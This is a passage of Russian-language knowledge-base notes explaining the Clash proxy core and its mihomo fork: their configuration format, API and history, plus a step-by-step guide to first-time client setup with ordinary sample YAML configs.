доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/00-overview.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - proxy - обход-блокировок - история - маршрутизация aliases: - Ядро Clash - Clash core - Что такое Clash - Clash Premium link: https://en.clash.wiki/ --- # ⚙️ Ядро Clash: что это такое и как оно устроено > [!info] О чём заметка > Разбор **ядра Clash** (Clash core) — консольной программы-маршрутизатора трафика, вокруг которой в 2018–2023 годах выросла целая экосистема клиентов, подписок и панелей. Здесь: чем ядро отличается от графического клиента, из чего состоит его конфиг, что такое Clash API, чем закрытая версия Clash Premium отличалась от открытой и что произошло с проектом в ноябре 2023 года. Что пришло на смену — в заметке [[Clash/02-mihomo|mihomo (бывший Clash.Meta)]]; общая карта раздела — в [[Clash/00-overview|обзоре]]. ## TL;DR - **Clash — это ядро, а не приложение с кнопками.** Оригинальное ядро (репозиторий `Dreamacro/clash`, язык Go, лицензия GPL-3.0) — консольный бинарник: читает YAML-конфиг, поднимает локальные прокси-порты и раскидывает соединения по правилам. Всё «красивое» рисуют отдельные графические оболочки. - Ключевая идея — **rule-based tunnel**, туннель на правилах: не «весь трафик в VPN», а решение по каждому соединению отдельно — этот домен напрямую, тот через сервер в Нидерландах, рекламные домены в чёрную дыру. - Конфиг состоит из пяти смысловых блоков: входящие порты, список серверов (`proxies`), группы политик (`proxy-groups`), правила (`rules`) и DNS. Плюс `external-controller` — HTTP-API управления. - **Clash API стал отраслевым стандартом**: почти все дашборды и графические клиенты умеют разговаривать именно по нему, поэтому формат пережил само ядро. - Существовала закрытая сборка **Clash Premium**: TUN-режим, eBPF/auto-redir, rule-providers, скриптовые правила и профилирование. Открытое ядро этого не умело — и разрыв между «бесплатным» и «премиальным» стал одной из причин появления форков. - **2–3 ноября 2023 года** репозиторий Clash и десятки связанных проектов были удалены или заархивированы их авторами (по данным [отчёта gfw.report](https://gfw.report/blog/developers_deleted_repos/en/) — 9 удалённых и 11 заархивированных репозиториев). Публичных объяснений авторы не давали. Развитие продолжили форки, прежде всего [[Clash/02-mihomo|mihomo]]. ## Ядро против клиента: почему это разные вещи Слово «Clash» в разговорах означает три разные сущности, и путаница между ними — источник большинства недоразумений. **Ядро (core)** — это исполняемый файл без интерфейса, который делает всю работу: слушает локальные порты, шифрует трафик, выбирает маршрут. **Графический клиент (GUI)** — отдельная программа, которая ядро в себе носит, запускает его и показывает пользователю списки серверов и переключатели. **Конфиг/подписка** — YAML-файл с описанием серверов и правил, который выдаёт продавец VPN или который вы пишете сами. Проще говоря: ядро — это двигатель, GUI — это приборная панель и руль, конфиг — маршрут в навигаторе. Один и тот же двигатель ставят в разные машины, поэтому оболочки [[Clash/07-clients|Clash Verge Rev, FlClash, Mihomo Party и другие]] внешне непохожи, но внутри у них одно и то же ядро, и лечится их поведение одинаково — правкой конфига. Из этого следует практическое правило: **обновление GUI и обновление ядра — разные операции**. Клиент может быть свежим, а ядро внутри — годовалым, и тогда новые протоколы из конфига просто не заработают, хотя приложение выглядит современным. Большинство оболочек позволяет обновить ядро отдельной кнопкой или подсунуть свой бинарник. ## Откуда взялся Clash Ядро создал разработчик под ником **Dreamacro**; проект появился на GitHub в 2018 году, писался на Go и распространялся под лицензией GPL-3.0. Задача, которую он решал, отличалась от классического VPN. В Китае, где инструмент был особенно популярен, «завернуть всё в туннель» — плохая стратегия: локальные сервисы через зарубежный сервер работают медленно или отказываются работать вовсе, а лишний трафик за границу и стоит дороже, и заметнее для наблюдателя. Нужен был не туннель, а **диспетчер**: часть соединений отправить наружу, часть оставить локальными, часть заблокировать. Отсюда и архитектура: Clash поднимает у себя локальный прокси (SOCKS5/HTTP), принимает соединение, смотрит на **имя хоста или IP назначения** и по списку правил решает, в какой исходящий канал его отдать. Тот же подход позже переняли и [[xray/routing|маршрутизация в Xray]], и [[sing-box/sing-box-extended|sing-box]], но именно Clash сделал его массовым — во многом благодаря простому YAML-конфигу, который человек читает без документации. ## Как устроен конфиг Конфигурация Clash — один YAML-файл. Разберём его по блокам, потому что вся логика работы ядра описана именно там. ### Входящие порты — где ядро принимает трафик ```yaml mixed-port: 7890 # HTTP + SOCKS5 на одном порту allow-lan: false # принимать ли подключения из локальной сети mode: rule # rule | global | direct log-level: info external-controller: 127.0.0.1:9090 secret: "пароль-к-API" ``` `mixed-port` — самый удобный вариант: один порт понимает и HTTP-прокси, и SOCKS5, туда указывают браузер и системные настройки. Исторически были и раздельные `port` (HTTP) и `socks-port`. Для Linux-шлюзов существуют `redir-port` и `tproxy-port` — прозрачный перехват через iptables/nftables, когда приложения вообще не знают, что их трафик проксируется (у Hysteria тот же механизм описан в [[Hysteria/tproxy|заметке про TPROXY]]). **Режимы работы** переключают всю логику разом: `rule` — работать по правилам (обычный режим), `global` — гнать всё через один выбранный сервер (полезно для диагностики: если в global работает, а в rule нет — виноваты правила), `direct` — не проксировать ничего. ### `proxies` — сами серверы Каждый элемент — один сервер с параметрами протокола. Оригинальное ядро умело SOCKS5, HTTP, Shadowsocks, ShadowsocksR, VMess, Trojan и Snell (протокол из проприетарного клиента Surge). ```yaml proxies: - name: "NL-1" type: trojan server: example.com port: 443 password: "secret" sni: example.com ``` Списки серверов редко пишут руками: их отдаёт **подписка** — URL, по которому продавец или ваша собственная панель возвращает готовый YAML. Ядро умеет тянуть такие списки автоматически через `proxy-providers` с интервалом обновления и проверкой доступности узлов. ### `proxy-groups` — политики выбора Группа — это виртуальный «сервер», который на самом деле выбирает один из вложенных. Правила ссылаются не на конкретный узел, а на группу, поэтому конфиг не приходится переписывать при смене серверов. | Тип группы | Что делает | |---|---| | `select` | Ручной выбор — то, что вы переключаете в интерфейсе клиента | | `url-test` | Автовыбор самого быстрого по задержке (периодический запрос к тест-URL) | | `fallback` | Первый живой по списку: пока верхний отвечает — работает он, упал — переход к следующему | | `load-balance` | Раскидывает соединения по нескольким узлам (по хешу домена или round-robin) | | `relay` | Цепочка: трафик идёт через несколько серверов подряд | Разница между `url-test` и `fallback` неочевидна, но важна на практике. `url-test` гонится за скоростью и может дёргать вас между узлами при каждой проверке, из-за чего рвутся долгие сессии. `fallback` держится за один узел до последнего и переключается только при реальном отказе — для стриминга и загрузок это обычно комфортнее. ### `rules` — правила маршрутизации Список обрабатывается **сверху вниз, до первого совпадения**, и последней строкой всегда стоит `MATCH` — что делать со всем, что не подошло. ```yaml rules: - DOMAIN-SUFFIX,ru,DIRECT - GEOIP,RU,DIRECT - DOMAIN-KEYWORD,youtube,Proxy - DOMAIN-SUFFIX,doubleclick.net,REJECT - IP-CIDR,10.0.0.0/8,DIRECT,no-resolve - MATCH,Proxy ``` Базовый набор типов правил: `DOMAIN`, `DOMAIN-SUFFIX`, `DOMAIN-KEYWORD` (по имени хоста), `IP-CIDR`/`IP-CIDR6` и `GEOIP` (по адресу назначения), `SRC-IP-CIDR` (по источнику — полезно на шлюзе), `DST-PORT`/`SRC-PORT`, `PROCESS-NAME` (по имени приложения, если ядро видит процесс). Три «целевых» действия зарезервированы: `DIRECT` — напрямую, `REJECT` — оборвать, имя группы — через неё. Флаг `no-resolve` в правилах по IP означает «не разрешать домен в адрес ради этой проверки». Без него ядро при каждом соединении по имени будет лезть в DNS раньше, чем это нужно, — а это и задержка, и утечка запроса. ### DNS и режим fake-ip DNS в Clash — не просто «какой сервер спрашивать», а часть маршрутизации. Проблема в том, что при прозрачном перехвате (TUN, redir) ядро видит уже готовый IP-адрес и не знает домена, а правила-то написаны по доменам. ```yaml dns: enable: true enhanced-mode: fake-ip fake-ip-range: 198.18.0.1/16 nameserver: [223.5.5.5, 8.8.8.8] ``` **Режим `fake-ip`** решает это так: на DNS-запрос приложения ядро мгновенно отвечает подставным адресом из служебного диапазона (по умолчанию `198.18.0.0/16`) и запоминает связку «фиктивный IP ↔ домен». Когда приложение открывает соединение на этот адрес, ядро по таблице восстанавливает исходное имя и применяет доменные правила. Побочная выгода — скорость: настоящий DNS-запрос делается только для тех соединений, которые реально пойдут напрямую. **Режим `redir-host`** — старый вариант: ядро запоминает имя из запроса, но отдаёт приложению настоящий адрес. Работает без служебной подсети, но чаще ошибается на CDN и медленнее, потому что честный DNS-запрос делается всегда. > [!warning] Fake-ip ломает то, что ждёт настоящий адрес > Приложения, которые сами резолвят домен и потом проверяют адрес (некоторые игры, часть корпоративных VPN-клиентов, локальные устройства с mDNS), от подставных IP ломаются. Для таких доменов в конфиге есть исключение `fake-ip-filter` — список имён, которые нужно резолвить честно. Симптом попадания в эту ловушку узнаваемый: браузер работает, а конкретное приложение «видит сеть, но не подключается». ## Clash API: почему формат пережил само ядро Строка `external-controller: 127.0.0.1:9090` включает **RESTful HTTP-API управления**. Через него можно получить список групп и переключить активный узел (`/proxies`), подписаться на поток логов (`/logs`) и на текущую скорость (`/traffic`), посмотреть и оборвать активные соединения (`/connections`), перечитать конфиг (`/configs`), заглянуть в правила и провайдеры. Это и стало главным архитектурным следствием: раз управление вынесено в сетевой API, **графический клиент можно писать на чём угодно и кем угодно**. Так появились веб-дашборды (yacd, clash-dashboard, позже metacubexd и zashboard) и десктопные оболочки — все они не встраиваются в ядро, а просто дёргают его API. Поэтому «Clash API» сегодня — это отдельный, живущий своей жизнью стандарт: его поддерживают форки ядра, его эмулируют сторонние проекты, а панели управления рассчитывают именно на него. > [!note] API — это доступ к вашему трафику > `external-controller` даёт полный контроль над маршрутизацией и видимость всех соединений. Держите его на `127.0.0.1`, а если нужен доступ извне (например, дашборд роутера) — обязательно задавайте `secret` и закрывайте порт файрволом. Открытый в интернет контроллер без пароля — это чужой человек, переключающий ваши узлы и читающий список ваших соединений. ## Clash Premium: закрытая ветка Параллельно с открытым ядром Dreamacro выпускал **Clash Premium** — сборку без исходников, распространявшуюся готовыми бинарниками. По документации проекта в неё входили: **TUN-режим** (виртуальный сетевой интерфейс, перехватывающий весь TCP/UDP системы), **eBPF и auto-redir** для перехвата на Linux, **rule-providers** (правила, подгружаемые из внешних файлов и URL вместо простыни в конфиге), **скриптовые правила** (движки `expr` и Starlark — маршрут вычисляется кодом, а не таблицей) и **профилирование** в духе экспортера метрик. Практический смысл разделения был такой: всё, ради чего Clash ставили на роутер или использовали как системный VPN, жило в закрытой сборке. Открытое ядро оставалось «локальным прокси на порту». Этот разрыв — вместе с невозможностью самостоятельно править закрытый код и добавлять протоколы — и подтолкнул сообщество к форкам, которые реализовали премиальные функции открыто; так вырос [[Clash/02-mihomo|Clash.Meta, ныне mihomo]]. ## Ноябрь 2023: репозитории исчезли 2 ноября 2023 года (по пекинскому времени) разработчик под ником **Fndroid** удалил репозиторий Clash for Windows — самого популярного на тот момент десктопного клиента. 3 ноября последовала волна: по [сводке gfw.report](https://gfw.report/blog/developers_deleted_repos/en/) в течение двух суток **9 репозиториев были удалены** (в их числе само ядро Clash, Clash for Windows, clash-dashboard, ClashForAndroid, GUI.for.Clash) и **11 заархивированы или очищены от истории** (Clash.Meta, ClashX, Clash Verge, ClashMetaForAndroid, tuic, ShellClash и другие). > [!warning] Причины официально не названы > Авторы публичных объяснений не оставили, и отчёт gfw.report прямо фиксирует отсутствие подтверждённой причины: задокументированы только сами удаления, их даты и синхронность. В сообществе преобладает версия о давлении на разработчиков в материковом Китае и желании авторов обезопасить себя, но это **предположение, а не установленный факт**. Различайте: факт — репозитории исчезли 2–3 ноября 2023 года; гипотеза — почему. Что это означало практически. Оригинальное ядро Clash развитие прекратило — последние версии остались в зеркалах и форках, обновлений безопасности у них нет. Clash for Windows перестал существовать как проект (распространявшиеся после этого сборки — чужие копии, доверять им как оригиналу нельзя). А вот **формат конфига и Clash API никуда не делись**: они были уже слишком широко внедрены в подписки, панели и клиенты, чтобы исчезнуть вместе с репозиторием. Дальнейшую разработку подхватили форки — про главный из них и написана заметка [[Clash/02-mihomo|mihomo]]. > [!danger] Не качайте «Clash» и «Clash for Windows» со случайных сайтов > После удаления оригиналов освободившиеся имена активно используют сайты-агрегаторы и сборщики. Проверить подпись или сверить сборку с исходником в этом случае не с чем — оригинального репозитория больше нет. Ставьте живые проекты из их собственных репозиториев (см. [[Clash/07-clients|обзор клиентов]]), а не «Clash» с первой строчки поисковой выдачи: прокси-клиент видит весь ваш трафик, и цена ошибки здесь максимальная. ## 📚 См. также - [[Clash/00-overview|Обзор раздела Clash]] — оглавление и порядок чтения. - [[Clash/02-mihomo|mihomo (Clash.Meta)]] — форк, который стал основным живым ядром экосистемы. - [[Clash/06-features-protocols|Возможности и протоколы mihomo]] — что ядро умеет сегодня, включая функции бывшего Premium. - [[Clash/07-clients|Клиенты на ядре Clash/mihomo]] — какие оболочки живы, а какие мертвы. - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — чем ядра отличаются и что выбирать. - [[xray/clients-and-routing|Клиенты и маршрутизация Xray]] — соседняя экосистема с той же задачей раздельного туннелирования. - 🔗 [en.clash.wiki](https://en.clash.wiki/) — сохранившаяся база знаний по оригинальному Clash и Premium. - 🔗 [gfw.report: Many Popular Censorship Circumvention Tools Deleted or Archived](https://gfw.report/blog/developers_deleted_repos/en/) — первичная сводка по событиям ноября 2023 года. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/01-clash-core.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - proxy - обход-блокировок - форк aliases: - mihomo - Clash.Meta - Clash Meta - MetaCubeX mihomo - Михомо link: https://github.com/MetaCubeX/mihomo --- # 🧩 mihomo (бывший Clash.Meta): как форк стал основным ядром > [!info] О чём заметка > **mihomo** — форк ядра Clash от команды MetaCubeX, который после исчезновения оригинала в ноябре 2023 года стал основным живым ядром всей экосистемы: именно на нём работают Clash Verge Rev, FlClash, Mihomo Party, ClashMetaForAndroid и пакеты для роутеров. Здесь — история проекта, чем он отличается от оригинального ядра и в каком состоянии находится в июле 2026 года. Что такое ядро Clash вообще и откуда взялась экосистема — в заметке [[Clash/01-clash-core|Ядро Clash]]. Подробный разбор возможностей и протоколов вынесен в [[Clash/06-features-protocols|отдельную заметку]]. ## TL;DR - **mihomo = Clash.Meta после переименования.** Проект начинался как форк `Dreamacro/clash` под именем Clash.Meta (ветка `Meta`), затем был переименован в mihomo; репозиторий — [MetaCubeX/mihomo](https://github.com/MetaCubeX/mihomo), лицензия GPL-3.0. - Форк родился из двух ограничений оригинала: **закрытая сборка Premium** (TUN, rule-providers, скриптовые правила) и **отсутствие современных протоколов** — в ядре Clash не было ни VLESS с REALITY, ни Hysteria2, ни TUIC, ни WireGuard. - После удаления оригинального Clash в ноябре 2023 года mihomo фактически унаследовал экосистему: конфиги, подписки и Clash API остались прежними, а разработка переехала в форк. - Проект активен: стабильная версия **v1.19.29 от 18 июля 2026**, отдельная ветка Alpha с ежедневными пререлизами, релизы с новыми протоколами выходят раз в несколько недель. - Совместимость с конфигами Clash сохранена «снизу вверх»: старый YAML в mihomo обычно заводится как есть, обратно — нет, потому что новых полей и типов в mihomo кратно больше. - Официальный дашборд — **metacubexd**, геоданные и правила — репозиторий **meta-rules-dat**, документация — [wiki.metacubex.one](https://wiki.metacubex.one/). ## Зачем понадобился форк К 2022 году у оригинального ядра [[Clash/01-clash-core|Clash]] накопились два разрыва, которые сообщество не могло закрыть само. **Первый — функциональный разрыв между открытой и закрытой сборками.** Всё, ради чего Clash ставили как системный VPN или на роутер (TUN-интерфейс, перехват через eBPF, подгружаемые наборы правил), жило в закрытом бинарнике Clash Premium. Исходников не было, значит, ни поправить баг, ни собрать под свою платформу, ни проверить код было нельзя. **Второй — протокольный разрыв.** Пока Clash умел Shadowsocks, VMess и Trojan, обход блокировок ушёл вперёд: появились [[xray/vless|VLESS]] с [[xray/reality|REALITY]], [[Hysteria/00-overview|Hysteria]] поверх QUIC, TUIC, WireGuard. Конкурирующие ядра [[xray/project-x|Xray-core]] и [[sing-box/sing-box-extended|sing-box]] эти протоколы поддерживали, Clash — нет. Пользователь с современной подпиской просто не мог её открыть в привычном клиенте. **Clash.Meta** закрывал оба разрыва сразу: команда MetaCubeX взяла открытое ядро, реализовала в нём премиальные функции своим кодом и начала добавлять протоколы — свои и портированные из соседних экосистем. README проекта прямо указывает источники вдохновения: `Dreamacro/clash` как основа, а также sing-box и v2ray-core. ## Переименование в mihomo В ноябрьской волне 2023 года Clash.Meta тоже попал под раздачу — репозиторий был заархивирован вместе с двумя десятками других проектов (подробности событий — в разделе [[Clash/01-clash-core|«Ноябрь 2023: репозитории исчезли»]]). В отличие от оригинала, проект вернулся к жизни, но уже под новым именем: `MetaCubeX/Clash.Meta` стал `MetaCubeX/mihomo`. Официального объяснения причин переименования команда не публиковала. Наблюдаемый факт: из названия ушло слово «Clash» — то самое, вокруг которого случилась волна удалений. Косвенно версию о дистанцировании от прежнего имени подтверждает стиль документации: в вики проекта оригинальное ядро называют не «Clash», а шуточным эвфемизмом **原神** («Геншин»), а сам mihomo — **虚空终端** («Пустотный терминал»). Оба имени — отсылки к играм HoYoverse, использованные как замена «опасному» названию. > [!warning] Мотивы — гипотеза, а не факт > Установлено: репозиторий Clash.Meta был заархивирован в ноябре 2023 года, а проект продолжился под названием mihomo. Связь переименования с давлением на разработчиков — распространённое в сообществе объяснение, но публичных заявлений авторов на этот счёт нет. Не выдавайте эту версию за подтверждённую. Одно следствие переименования вполне практическое и закреплено в лицензии: **сторонние проекты, не аффилированные с MetaCubeX, не имеют права использовать слово mihomo в своих названиях**. Поэтому оболочки на этом ядре зовутся Clash Verge Rev, FlClash, Clash Party — а не «mihomo-что-нибудь», за исключением тех, кому это согласовано. > [!note] Как называть ядро в разговоре > «Clash.Meta», «Clash Meta», «Meta-ядро» и «mihomo» в текстах 2023–2026 годов означают одно и то же. Старое имя закрепилось в документации клиентов и в статьях, поэтому встречается до сих пор: например, в интерфейсах клиентов ядро часто подписано «Clash Meta Core». Актуальное имя — mihomo. ## Что mihomo дал сверх оригинала Сводка по трём направлениям (подробный разбор каждого пункта — в [[Clash/06-features-protocols|заметке о возможностях и протоколах]]). | Направление | Что было в оригинале | Что появилось в mihomo | |---|---|---| | Премиальные функции | TUN, rule-providers, скриптовые правила, eBPF — только в закрытом Clash Premium | Всё это реализовано в открытом коде и доступно всем | | Протоколы | SOCKS5, HTTP, Shadowsocks, ShadowsocksR, VMess, Trojan, Snell | Плюс VLESS (включая REALITY и XTLS Vision), Hysteria и Hysteria2, TUIC, WireGuard, ShadowTLS, SSH, AnyTLS, Tailscale, OpenVPN и другие | | Роль в сети | Практически только клиент | Ещё и сервер: раздел `listeners` позволяет принимать входящие подключения по большинству тех же протоколов | Отдельно стоит выделить смену роли. Оригинальный Clash был клиентом: он подключался к чужим серверам. mihomo умеет и **принимать** соединения — то есть один бинарник может работать входной точкой для других устройств, как это делают [[sing-box/sing-box-extended|sing-box]] и [[xray/project-x|Xray-core]]. На практике так поднимают домашний шлюз: один mihomo на роутере принимает трафик семьи и уводит его наружу по правилам. ## Совместимость с миром Clash Главная причина, по которой переход на mihomo прошёл для пользователей почти незаметно, — **сохранённая совместимость по трём интерфейсам**. **Формат конфига.** Это тот же YAML с блоками `proxies`, `proxy-groups`, `rules`, `dns`. Старый конфиг от Clash в mihomo, как правило, запускается без правок. Обратная совместимость не гарантируется: конфиг, использующий новые поля mihomo, оригинальное ядро не поймёт — но это давно теоретическая проблема, поскольку оригинал не развивается. **Clash API.** Тот же `external-controller` с теми же эндпоинтами, расширенный новыми (статистика памяти, отладочные ручки, управление провайдерами). Поэтому старые дашборды продолжают работать, а новые — metacubexd, zashboard — дают доступ к дополнительным возможностям. **Подписки.** Продавцы VPN и панели управления отдают конфиг в «формате Clash», и он остаётся рабочим. Более того, формат вышел за пределы своей экосистемы: sing-box, например, умеет разбирать Clash YAML как один из форматов подписки (см. раздел про провайдеры в [[sing-box/architecture|разборе архитектуры sing-box]]). ## Состояние проекта на июль 2026 Разработка идёт в двух ветках. **Стабильная** — версии вида `v1.19.x`; на 25 июля 2026 актуальна **v1.19.29 от 18 июля 2026**. **Alpha** — ветка ежедневных пререлизов, куда новые протоколы попадают первыми; ей пользуются те, кому нужна свежая функция сегодня, ценой риска нарваться на регресс. Темп добавления функций высокий: только в релизах июня–июля 2026 появились outbound для Tailscale и OpenVPN, реле GOST, слушатель `hysteria2-realm`, обфускации `restls` и `jls`, транспорт `mkcp` для VMess и новый тип правила `REMATCH-NAME`. Конкретика по этим возможностям — в [[Clash/06-features-protocols|заметке о возможностях и протоколах]]. > [!warning] Быстрый темп — обратная сторона медали > Ядро с таким потоком новых протоколов неизбежно тащит и свежие регрессы, а экзотические функции из Alpha ревьюит меньше глаз, чем базовые. Для повседневного использования берите стабильную ветку и обновляйтесь не в день релиза; Alpha держите для конкретной нужной функции, а не «чтобы было новее». То же рассуждение про форки и объём ревью применимо и к соседним проектам — см. оговорки в [[sing-box/sing-box-extended|обзоре sing-box-extended]]. Вокруг ядра сложилась собственная инфраструктура: **metacubexd** — официальный веб-дашборд, **meta-rules-dat** — репозиторий геоданных и готовых наборов правил (включая компактный бинарный формат `.mrs`), [wiki.metacubex.one](https://wiki.metacubex.one/) — документация по всем полям конфига. Есть и экспериментальные попытки переписать ядро на другом языке — например, реализация `meow-rs` на Rust; такие проекты стоит рассматривать как эксперименты, а не замену. ## 📚 См. также - [[Clash/01-clash-core|Ядро Clash]] — что такое ядро, устройство конфига, Clash API и история исчезновения оригинала. - [[Clash/06-features-protocols|Возможности и протоколы mihomo]] — детальный разбор того, что ядро умеет в 2026 году. - [[Clash/07-clients|Клиенты на ядре Clash/mihomo]] — Clash Verge Rev, FlClash, Mihomo Party, CMFA и пакеты для роутеров. - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — сравнение трёх основных ядер и критерии выбора. - [[sing-box/sing-box-extended|sing-box-extended]] — соседняя платформа со схожей идеей «один бинарник на все протоколы». - 🔗 [github.com/MetaCubeX/mihomo](https://github.com/MetaCubeX/mihomo) — исходники и релизы. - 🔗 [wiki.metacubex.one](https://wiki.metacubex.one/) — официальная документация конфига. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/02-mihomo.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - новичкам - настройка aliases: - Первый запуск Clash - Как настроить mihomo - Clash для новичка --- # 🚦 Первый запуск: от подписки до работающего интернета > [!info] О чём заметка > Пошаговая инструкция для тех, кто впервые открывает клиент на ядре [[Clash/02-mihomo|mihomo]] и не хочет разбираться в YAML: что нужно иметь на руках, куда вставлять ссылку, чем отличается системный прокси от TUN-режима и как проверить, что всё действительно работает. Теория — что такое ядро и из чего состоит конфиг — в [[Clash/01-clash-core|Ядре Clash]]; здесь только практика. ## TL;DR - Нужны две вещи: **клиент** (программа) и **подписка** (ссылка от продавца или ваш собственный конфиг). Клиент без подписки бесполезен, подписка без клиента — просто текст. - Порядок действий: поставить клиент → вставить ссылку подписки → выбрать узел → включить → проверить. - **Два способа завернуть трафик**: системный прокси (проще, работает не во всех приложениях) и TUN-режим (заворачивает всё, требует прав администратора). Начинайте с системного прокси. - **Режим `Rule`** — рабочий по умолчанию: российские сайты идут напрямую, остальное через сервер. Режим `Global` полезен только для диагностики. - Проверка занимает минуту: два сайта проверки IP-адреса и один тест на утечку DNS. - Если подписка не добавляется с ошибкой 404 — дело может быть не в вас, а в [[subscriptions/hwid-client-lock|привязке подписки к конкретному клиенту]]. ## Шаг 0. Что нужно иметь на руках **Подписка или ключ.** Это ссылка, которую выдаёт продавец VPN или ваша собственная панель на сервере. Выглядит она одним из трёх способов: - **Ссылка подписки** — обычный `https://…`-адрес, по которому клиент скачивает список серверов и обновляет его сам. Самый удобный вариант. - **Одиночный ключ** — строка вида `vless://…`, `trojan://…`, `ss://…`. Это один сервер, без автообновления. - **Файл конфигурации** — готовый YAML, если вы настраиваете всё сами. **Клиент.** Выберите оболочку под свою систему по [[Clash/07-clients|обзору клиентов]]: на Windows, macOS и Linux разумная точка входа — Clash Verge Rev, на Android — ClashMetaForAndroid или FlClash. Скачивайте только из официального репозитория проекта. > [!warning] Откуда качать > Прокси-клиент пропускает через себя весь ваш трафик. «Clash» с рекламного сайта или из поисковой выдачи — это сборка неизвестного происхождения, и проверить её не с чем: оригинальный проект [[Clash/01-clash-core|перестал существовать в ноябре 2023 года]], а имя осталось свободным. Ставьте только то, у чего есть живой репозиторий с релизами. ## Шаг 1. Добавить подписку Во всех оболочках это одно и то же действие, названное по-разному: «Профили», «Profiles», «Подписки», «Конфигурации». Нажимаете «добавить», вставляете ссылку, сохраняете. Клиент скачивает список серверов и показывает его. Если у вас не ссылка подписки, а одиночный ключ `vless://…`, в большинстве клиентов работает импорт из буфера обмена — скопируйте строку и найдите пункт вроде «импортировать из буфера». **Что должно получиться:** в списке появились узлы (обычно с названиями стран или городов) и группы вроде `PROXY`, `Auto`, `Select`. Группы — это переключатели политики, про них подробно в [[Clash/01-clash-core|разборе конфига]]; сейчас достаточно знать, что выбирать узел вы будете внутри группы. > [!note] Подписка не добавляется: частые причины > **Ошибка сети или таймаут** — иногда сама ссылка подписки заблокирована провайдером; попробуйте открыть её в браузере. **Ошибка 404 при верной ссылке** — возможно, продавец включил привязку к устройству, и ваш клиент не умеет отправлять нужные заголовки (разбор — в [[subscriptions/hwid-client-lock|заметке про HWID-привязку]]). **Клиент говорит про неизвестный тип прокси** — ядро внутри клиента устарело и не знает протокол из подписки; обновите ядро отдельно от приложения. ## Шаг 2. Выбрать узел и режим **Узел** выбирается в группе: откройте её и нажмите на нужную страну. Многие подписки содержат группу автоматического выбора (`url-test`, `Auto`) — она сама выберет узел с наименьшей задержкой, и для начала это нормальный вариант. **Режим** переключается в главном окне: | Режим | Что делает | Когда использовать | |---|---|---| | **Rule** | Решение по каждому соединению по правилам из конфига | Всегда — это рабочий режим | | **Global** | Весь трафик через выбранный узел | Диагностика: если в Global работает, а в Rule нет — проблема в правилах | | **Direct** | Ничего не проксируется | Временно отключить туннель, не выключая клиент | Проще говоря: `Rule` — это «умный» режим, ради которого экосистема Clash и существует. Российские сайты и банки в нём идут напрямую (быстрее и не ломаются), а заблокированное — через сервер. ## Шаг 3. Включить перехват трафика Здесь новички чаще всего спотыкаются, потому что «включить VPN» в этих клиентах — это два разных механизма. **Системный прокси (System Proxy).** Клиент прописывает себя в системные настройки прокси, и приложения, которые эти настройки уважают, идут через него. Плюсы: не нужны права администратора, ничего не ломается на уровне сети, легко выключить. Минус: приложения, игнорирующие системный прокси (часть игр, отдельные мессенджеры, системные службы), пойдут мимо туннеля. **TUN-режим (виртуальный адаптер).** Клиент создаёт виртуальный сетевой интерфейс, и через него идёт **весь** трафик системы, независимо от того, знает приложение про прокси или нет. Плюс: работает со всем. Минусы: требует прав администратора (на Windows — установки службы), может конфликтовать с другими VPN и антивирусами, чуть сложнее диагностируется. **Рекомендация для первого запуска:** включите системный прокси, убедитесь, что всё работает, и только потом, если какое-то приложение осталось без туннеля, переходите на TUN. > [!tip] На Android и iOS выбора нет > Мобильные клиенты всегда работают через системный VPN-сервис — это тот самый TUN, только включается он одной кнопкой и разрешением «разрешить VPN-подключение». Отдельного «системного прокси» там нет. ## Шаг 4. Проверить, что всё работает Минимальная проверка занимает минуту и отвечает сразу на два вопроса: идёт ли трафик через сервер и не течёт ли что-то мимо. - [ ] **Открыть [2ip.ru](https://2ip.ru)** — в режиме `Rule` с типовыми правилами он должен показать **Россию**: российские сайты специально идут напрямую, и это признак, что раздельная маршрутизация работает. - [ ] **Открыть [whatismyipaddress.com](https://whatismyipaddress.com)** — должен показать **страну вашего сервера**, а не Россию. Значит, зарубежный трафик уходит в туннель. - [ ] **Проверить DNS** на [dnsleaktest.com](https://dnsleaktest.com) — в списке не должно быть серверов вашего домашнего провайдера. Если они там, DNS-запросы утекают мимо туннеля, и провайдер видит список ваших доменов, даже не видя трафика. - [ ] **Открыть заблокированный сайт**, ради которого всё и настраивалось. - [ ] **Проверить приложение, которое вам важно** (мессенджер, игру) — особенно если вы остались на системном прокси. Если первые два пункта дали одинаковый результат (обе страны российские или обе зарубежные) — маршрутизация работает не так, как вы думаете: либо режим `Global`, либо правила в подписке устроены иначе. Разбор — в [[Clash/04-rules|правилах маршрутизации]]. ## Шаг 5. Настроить под себя После того как базовая связка заработала, обычно нужны три вещи. **Автозапуск и автоподключение** — в настройках клиента; включайте, когда убедились, что связка стабильна, иначе неудачный конфиг будет стартовать вместе с системой. **Обновление подписки.** Клиент умеет обновлять список серверов по расписанию — проверьте, что интервал задан (сутки-двое обычно достаточно). Продавцы меняют адреса серверов, и без обновления узлы однажды перестанут работать. **Обновление ядра.** Это отдельная операция от обновления приложения (см. [[Clash/07-clients|обзор клиентов]]). Свежее ядро — это и новые протоколы, и исправления, влияющие на заметность трафика для DPI. > [!warning] Не включайте всё сразу > Соблазн сразу активировать TUN, сниффер, свой DNS и десяток наборов правил велик, но диагностировать потом нечего: при поломке непонятно, что именно её вызвало. Меняйте по одной настройке и проверяйте — на этом принципе построена и [[Clash/05-troubleshooting|заметка про диагностику проблем]]. ## Что делать, если не заработало Короткая развилка (подробности — в [[Clash/05-troubleshooting|разборе типичных проблем]]): - **Ничего не открывается вообще** — переключитесь в 